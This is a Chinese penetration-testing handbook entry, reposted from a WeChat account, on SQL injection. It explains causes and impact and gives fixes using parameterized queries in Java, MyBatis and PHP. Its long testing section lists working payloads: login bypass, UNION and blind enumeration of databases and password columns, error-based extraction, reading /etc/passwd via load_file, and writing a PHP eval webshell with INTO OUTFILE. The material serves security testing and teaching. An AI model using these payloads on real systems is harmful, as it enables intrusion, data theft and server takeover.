【渗透测试实用手册】 SQL 注入漏洞

admin 2022年12月12日12:53:34评论82 views字数 12159阅读40分31秒阅读模式

【渗透测试实用手册】SQL注入漏洞

漏洞名称

SQL注入漏洞

漏洞地址


漏洞等级

高危

漏洞描述

SQL 注入漏洞是指攻击者通过把恶意的 SQL 语句插入到网站的输入参数中,来绕过网站的安全措施,获取敏感信息或控制网站的行为。

SQL 注入漏洞常见于网站和应用程序中,当用户在网站的表单中输入信息时,攻击者可以通过在输入中插入恶意的 SQL 语句来控制网站的行为。例如,攻击者可以通过注入恶意的 SQL 语句来登录网站的后台管理系统,或者获取数据库中的敏感信息。

为了防止 SQL 注入漏洞,网站和应用程序应该使用参数化查询来防止恶意的 SQL 语句的注入。此外,网站应该对用户的输入进行过滤和验证,并且定期检查代码以确保安全性。

SQL注入是开发者对用户输入的参数过滤不严格,通过把SQL命令插入到Web表单提交、输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,导致用户输入的数据能够影响预设查询功能的一种技术。它是一种通过在用户可控参数中注入SQL语句,破坏原有的SQL结构,达到编写程序时意料之外结果的攻击行为。

按照构造和提交SQL语句的方式进行划分,SQL注入又分为GET型注入、POST型注入和Cookies型注入。

GET 型 SQL 注入提交数据的方式为 GET , 注入点的位置在 GET 参数部分,通常发生在网页的 URL。

POST 型 SQL 注入使用 POST 方式提交数据,注入点位置在 POST 数据部分,通常发生在表单输入框中。

Cookie 型 SQL 注入HTTP 请求时通常有客户端的 Cookie, 注入点存在 Cookie 的某个字段中。

漏洞成因

Web应用程序对用户输入的数据校验处理不严或者根本没有校验,使用字符串拼接的方式构造SQL语句,同时未对用户可控参数进行足够过滤,致使用户可以拼接执行SQL命令造成SQL注入漏洞。

漏洞危害

SQL 注入通常是通过构造恶意的 SQL 语句来实现的,因此具体的代码取决于攻击者的目标和所使用的技术。一般来说,SQL 注入攻击可能包括以下几种常见方法:

登录绕过:通过在用户名和密码中插入恶意代码,绕过登录验证。例如,如果登录表单中的 SQL 语句为 SELECT * FROM users WHERE username='$username' AND password='$password',攻击者可以尝试输入 ' OR '1'='1 作为用户名,密码为空,以此绕过登录验证。

数据获取:通过构造恶意的 SQL 语句,从数据库中获取敏感信息。例如,攻击者可以尝试输入 ' UNION SELECT password FROM users WHERE username='admin 来获取数据库中管理员的密码。

数据操纵:通过插入恶意的 SQL 语句,在数据库中进行操作,从而造成损害。例如,攻击者可以尝试输入 '; UPDATE users SET password='$new_password' WHERE username='$username 来修改指定用户的密码。

其余危害:

  1. 1. 在有写文件权限的情况下,直接用INTO OUTFILE或者DUMPFILE向Web目录写文件,或者写文件后结合文件包含漏洞达到代码执行的效果。

  2. 2. 在有读文件权限的情况下,用load_file()函数读取网站源码和配置文件,获取敏感数据。

  3. 3. 提升权限,获得更高的用户权限或者管理员权限,绕过登录,添加用户,调增用户权限等,从而拥有更多的网站功能。

  4. 4. 通过注入控制数据库查询出来的数据,控制如模板、缓存等文件的内容来获取权限,或者删除、读取某些关键文件。

  5. 5. 在可以执行多语句的情况下,控制整个数据库,包括控制任意数据、任意字段长度等。

  6. 6. 在SQL Server这类数据库中可以直接执行系统命令。

  7. 7. 数据库原有数据泄露、篡改甚至删除,甚至导致攻击者完全控制服务器。

修复方案

参考资料:

https://github.com/Tencent/secguide/blob/main/Java%E5%AE%89%E5%85%A8%E6%8C%87%E5%8D%97.md



  1. 1. Web后台系统应默认使用预编译绑定变量的形式创建sql语句,保持查询语句和数据相分离。以从本质上避免SQL注入风险。

如使用Mybatis作为持久层框架,应通过#{}语法进行参数绑定,MyBatis 会创建 PreparedStatement 参数占位符,并通过占位符安全地设置参数。


示例:JDBC

String username = request.getParameter("username");

String password = request.getParameter("password");


String sql = "SELECT * FROM users WHERE username = ? AND password = ?";


PreparedStatement statement = connection.prepareStatement(sql);

statement.setString(1, username);

statement.setString(2, password);


ResultSet results = statement.executeQuery();


示例:Mybatis

<select id="queryRuleIdByApplicationId" parameterType="java.lang.String" resultType="java.lang.String">

    SELECT rule_id FROM scan_rule_sqlmap_tab WHERE application_id = #{applicationId}

</select> 


  1. 2. 应避免外部输入未经过滤直接拼接到SQL语句中,或者通过Mybatis中的传入语句(即使使用,语句直接拼接外部输入也同样有风险。例如中部分参数通过{}传入SQL语句后实际执行时调用的是PreparedStatement.execute(),同样存在注入风险)。


  1. 3. 对于表名、列名等无法进行预编译的场景,比如外部数据拼接到order by, group by语句中,需通过白名单的形式对数据进行校验,例如判断传入列名是否存在、升降序仅允许输入“ASC”和“DESC”、表名列名仅允许输入字符、数字、下划线等。

参考示例:

public String someMethod(boolean sortOrder){

 String SQLquery = "some SQL ...order by Salary " + (sortOrder ? "ASC" : "DESC");`

 ...


  1. 4. Web应用程序接入数据库服务器使用的用户禁用系统管理员,用户角色应遵循最小权限原则。


  1. 5. 定期审计数据库执行日志,查看是否存在应用程序正常逻辑之外的SQL语句执行痕迹。


【特别注意】:

Order By 注入修复方案

开发者在编写系统框架时无法使用预编译的办法处理这类参数,只要对输入的值进行白名单比对,基本上就能防御这种注入。

  1. 1. 通过正则表达式进行字符串过滤,只允许字段中出现字母、数字、下划线。

  2. 2. 通过白名单思路,使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。


编程代码参考:

设置一个枚举或者MAP变量,然后拿用户输入passwd进行比对返回序号,然后拿序号预编译。

int index = map.get("password");

String sql = "SELECT * FROM users WHERE password = ? ORDER BY ?";

PreparedStatement stmt = conn.prepareStatement(sql);

stmt.setString(1, password);

stmt.setInt(2, index);

ResultSet rs = stmt.executeQuery();


代码实现参考:

import java.sql.Connection;

import java.sql.PreparedStatement;

import java.util.regex.Pattern;


public class SqlInjectionFixer {


  // 定义一个正则表达式,用于过滤特殊字符

  private static final Pattern specialCharPattern = Pattern.compile("[^a-zA-Z0-9]");


  // 使用预编译的 PreparedStatement 执行 SQL 查询

  public void query(Connection connection, String userInput) throws Exception {

    // 对用户输入的字符串进行过滤,去除特殊字符

    String filteredInput = specialCharPattern.matcher(userInput).replaceAll("");


    // 使用预编译的 PreparedStatement 执行查询,并将用户输入的字符串作为参数

    PreparedStatement statement = connection.prepareStatement("SELECT * FROM table WHERE column = ?");

    statement.setString(1, filteredInput);

    statement.executeQuery();

  }

}

这段代码使用了正则表达式来过滤用户输入的字符串中的特殊字符。然后使用预编译的 PreparedStatement 执行 SQL 查询,并将用户输入的字符串作为参数。这样,即使用户输入的字符串中包含特殊字符,也不会导致 SQL 注入漏洞的产生。

测试过程

01 联合查询


0001 利用前提

        页面上有显示位


0002 优点

        方便 快捷 易于利用


0003 缺点

        需要显示位


0x001 判断是否存在SQL注入,同时判断注入类型 整型注入还是字符串型注入

判断注入

        and 1=1 / and 1=2  回显页面不同(整型判断)

        单引号'判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)

        转义符

        -1 / +1  回显下一个或者上一个页面(整型判断)

        and sleep(5)  判断页面返回时间


0x002 判断显示位长度,判断列数(二分法)

        order by 10

        order by 20

        order by 15

        ...


0x003 判断显示位,UNION联合查询

        union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15


0x004 查询获取当前所用的数据库用户名 数据库名 数据库路径 操作系统版本 MySQL数据库版本

        user()---数据库用户名

        database()---数据库名

        @@basedir---数据库路径

        @@datadir---数据库里面data路径

        @@version_compile_os---操作系统版本

        version()---MySQL数据库版本

        @@version---MySQL数据库版本


0x005 查找列出所有的数据库名称

        limit一个一个打印出来数据库名字

        select concat(schema_name) from information_schema.schemata limit 0,1

        group_concat一次性全部显示数据库名字

        select group_concat(schema_name) from information_schema.schemata


0x006 查找列出所有的表名

        limit一个一个打印出来表名

        select concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转换十六进制) limit 0,1

        group_concat一次性全部显示表名

        select group_concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转换十六进制)


0x007 查找列出所有的字段名称

        limit一个一个打印出来字段名称

        select concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转换十六进制) and table_name=0x(表名转换十六进制) limit 0,1

        group_concat一次性显示全部字段名称

        select group_concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转换十六进制) and table_name=0x(表名转换十六进制)


0x008 查找列出所有需要的字段数据

        limit一个一个打印出来字段数据

        select concat(0x7e,username,0x7e,password) from 数据库名字.表名 limit 0,1

        group_concat一次性全部显示字段数据

        select group_concat(0x7e,username,0x7e,password) from 数据库名字.表名


0x009 load_file()读取文件操作


0001 前提 

        知道文件的绝对路径

0002 能够使用union查询

        对web目录有写的权限

        union select 1,load_file('/etc/passwd'),3,4,5#

        0x2f6574632f706173737764

        union select 1,load_file(0x2f6574632f706173737764),3,4,5#

        路径没有加单引号的话必须转换十六进制

        要是想省略单引号的话必须转换十六进制


0x010 into outfile写入文件操作


0001 前提

        文件名必须是全路径(绝对路径)

002 用户必须有写文件的权限

        没有对单引号'过滤

        select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\8.php'

        select '<?php @eval($_POST["admin"]); ?>' into outfile 'C:\Windows\tmp\8.php'

        路径里面两个反斜杠\可以换成一个正斜杠/

        PHP语句没有单引号的话,必须转换成十六进制

        要是想省略单引号'的话,必须转换成十六进制

        <?php eval($_POST["admin"]); ?>  或者  <?php eval($_GET["admin"]); ?>

        <?php @eval($_POST["admin"]); ?>

        <?php phpinfo(); ?>

        <?php eval($_POST["admin"]); ?>

        建议一句话PHP语句转换成十六进制


0x011 一句话木马


        <?php eval($_POST["admin"]); ?>  或者  <?php eval($_GET["admin"]); ?>

        <?php @eval($_POST["admin"]); ?>

        <?php phpinfo(); ?>

        <?php eval($_POST["admin"]); ?>

        建议一句话PHP语句转换成十六进制


02 Error-based SQL injection


0001 利用前提

        页面上没有显示位,但是需要输出SQL语句执行错误信息.比如mysql_error()


0002 优点

        不需要显示位


0003 缺点

        需要输出mysql_error的报错信息


001 通过floor报错[没有任何字符长度限制]


0001 固定句式 

        and (select 1 from (select count(*),concat((select (select (payload)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


0002 查询数据库的个数 

        select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata


0003 payload组合语句 

        and (select 1 from (select count(*),concat((select (select (select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


0004 获取数据库名字 

        select concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1


0005 payload组合语句 

        and (select 1 from (select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


002 通过ExtractValue报错[最多32字符]


0001 固定句式 

        and extractvalue(1,(payload))

        或者记忆成 

        and extractvalue(1,(concat(0x7e,(payload),0x7e)))


0002 查询数据库版本号 

        and extractvalue(1,(concat(0x7e,(select @@version),0x7e)))

        或者写成 

        and extractvalue(1,(concat(0x7e,(select version()),0x7e)))


003 通过UpdateXML报错[最多32字符]


0001 固定句式 

        +and updatexml(1,(payload),1)

        或者记忆成 

        +and updatexml(1,(concat(0x7e,(payload),0x7e)),1)


0002 查询数据库版本号 

        +and updatexml(1,(concat(0x7e,(select @@version),0x7e)),1)

        或者写成 

        +and updatexml(1,(concat(0x7e,(select version()),0x7e)),1)

        +加号可以换成空格


03 Boolean-based blind SQL injection


0001 利用前提

        页面上没有显示位,也没有输出SQL语句执行报错信息

        只能通过页面返回正常不正常


0002 优点

        不需要显示位,不需要报错信息


0003 缺点

        速度慢,耗费大量时间


001 exists() 用于检查子查询是否只要返回一行数据,返回True或者False

        and exists(select user())

        ?id=1' and exists(select * from information_schema.tables) --+


002 ascii() 返回字符串str的最左面字符的ASCII代码值.如果str是空字符串,返回0.如果str是NULL,返回NULL.

        and ascii('r')=114

        and ascii(substr((select user()),1,1))=114


003 substr() substr(string,num start,num length) string 字符串 start       起始位置 length 长度

        and substr((select user()),1,1)='r'

        and substr((select user()),2,1)='o'

        ?id=1' and exists(select * from information_schema.tables) --+

        ?id=1' and (select length(version()))=6 --+ //判断version()返回字符串的长度

        ?id=1' and (select count(distinct table_schema) from information_schema.tables)=11 --+

        //判断有多少数据库,自动去除空数据库

        ?id=1' and (select count(distinct table_schema) from information_schema.columns)=11 --+ //判断有多少数据库,自动去除空数据库

        select count(schema_name) from information_schema.schemata

        ?id=1' and (select count(schema_name) from information_schema.schemata)=12 --+ //判断有多少数据库,自动去除空数据库

        and ascii(substr((select concat(schema_name) from information_schema.schemata limit 0,1),1,1))=105 //判断第一个库的第一个字符


04 Time-based blind SQL injection


0001 利用前提

        页面没有显示位,也没有输出SQL语句执行错误信息

        正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒


0002 优点

        不需要显示位,不需要出错信息


0003 缺点

速度慢,耗费大量时间


001 IF(Condition,A,B)函数

        当Contion为TRUE时候,返回A;当Contion为FALSE时候,返回B.

        eg:if(ascii(substr('hello',1,1))=104,sleep(5),1)

        可以换成双引号 if(ascii(substr("hello",1,1))=104,sleep(5),1)

        and if(ascii((select @@version,1,1))=53,sleep(5),1)

        if(ascii(substr((payload),1,1))=114,sleep(5),1)

        if((select count(distinct table_schema) from information_schema.tables)=17,sleep(5),1)

        //获取当前数据库个数

        if(ascii(substr((select user(),1,1))=114,sleep(5),1) //获取当前连接数据库用户第一个字母

        if(ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),1,1))=105,sleep(5),1) //判断第一个数据库第一个字符

        if(ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),2,1))=110,sleep(5),1) //判断第一个数据库第一个字符

复测过程


复测结果

未修复


SQL 注入修复代码
Java 程序
SQL语句默认使用预编译并绑定变量
Web后台系统应默认使用预编译绑定变量的形式创建sql语句,保持查询语句和数据相分离。以从本质上避免SQL注入风险。
如使用Mybatis作为持久层框架,应通过#{}语法进行参数绑定,MyBatis 会创建 PreparedStatement 参数占位符,并通过占位符安全地设置参数。
import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;
/** * @author mannix */public class Main { public static void main(String[] args) throws SQLException { String username = request.getParameter("username"); String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement statement = connection.prepareStatement(sql); statement.setString(1, username); statement.setString(2, password);
ResultSet results = statement.executeQuery(); }}

示例:Mybatis

<select id="queryRuleIdByApplicationId" parameterType="java.lang.String" resultType="java.lang.String">    SELECT rule_id FROM scan_rule_sqlmap_tab WHERE application_id = #{applicationId}</select>
应避免外部输入未经过滤直接拼接到SQL语句中,或者通过Mybatis中的{}传入SQL语句(即使使用PreparedStatement,SQL语句直接拼接外部输入也同样有风险。例如Mybatis中部分参数通过{}传入SQL语句后实际执行时调用的是PreparedStatement.execute(),同样存在注入风险)。
白名单过滤
对于表名、列名等无法进行预编译的场景,比如外部数据拼接到order by, group by语句中,需通过白名单的形式对数据进行校验,例如判断传入列名是否存在、升降序仅允许输入“ASC”和“DESC”、表名列名仅允许输入字符、数字、下划线等。
对输入的参数值进行白名单检查,仅允许字母、数字和下划线,使用间接对象引用的思想来修复这个漏洞。即,不直接引用数据库中的字段名,而是将字段名与一个数字或字符串进行映射,前端传递的参数值就是这个映射的数字或字符串。这样,攻击者无法获知数据库中真实的字段名,就无法构造恶意的排序参数,从而避免了注入漏洞。
定义一个 Map用来储存允许的排序列。然后,检查用户输入的排序列是否在允许的排序列中,如果不允许,则抛出一个异常。如果用户输入的排序列是允许的,则可以使用 PreparedStatement 来预编译并执行 SQL 语句,这样就可以避免 SQL 注入了。
参考示例:
import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;
/** * @author mannix */public class Main { public static void main(String[] args) throws SQLException { int index = map.get("password"); String sql = "SELECT * FROM users WHERE password = ? ORDER BY ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, password); stmt.setInt(2, index); ResultSet rs = stmt.executeQuery(); }}
PHP 程序
预编译处理
<?php// 设置数据库连接信息$host = 'localhost';$dbname = 'mydb';$username = 'dbuser';$password = 'dbpass';
// 创建 PDO 对象$dbh = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
// 定义查询语句$query = 'SELECT * FROM users WHERE username = :username AND passwd = :passwd';
// 创建预处理语句$stmt = $dbh->prepare($query);
// 绑定参数$stmt->bindParam(':username', $username);$stmt->bindParam(':passwd', $passwd);
// 执行查询语句$stmt->execute();

原文始发于微信公众号(利刃信安):【渗透测试实用手册】 SQL 注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月12日12:53:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试实用手册】 SQL 注入漏洞http://cn-sec.com/archives/1458010.html

发表评论

匿名网友 填写信息